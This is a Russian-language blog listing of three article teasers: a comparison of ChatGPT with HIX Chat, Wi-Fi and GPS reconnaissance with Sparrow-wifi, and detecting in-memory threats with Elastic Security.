ChatGPT против HIX Chat: какой чат-бот с искусственным интеллектом лучше?

С тех пор как ChatGPT вышел на арену, возросла потребность в поддержке чата на базе…

9 месяцев ago

Разведка по Wi-Fi и GPS с помощью Sparrow-wifi

Если вы когда-нибудь окажетесь в ситуации, когда вам нужно взглянуть на спектр беспроводной связи, будь…

9 месяцев ago

Как обнаружить угрозы в памяти

Elastic Security стремится превзойти противников в инновациях и обеспечить защиту от новейших технологий злоумышленников. В…

10 месяцев ago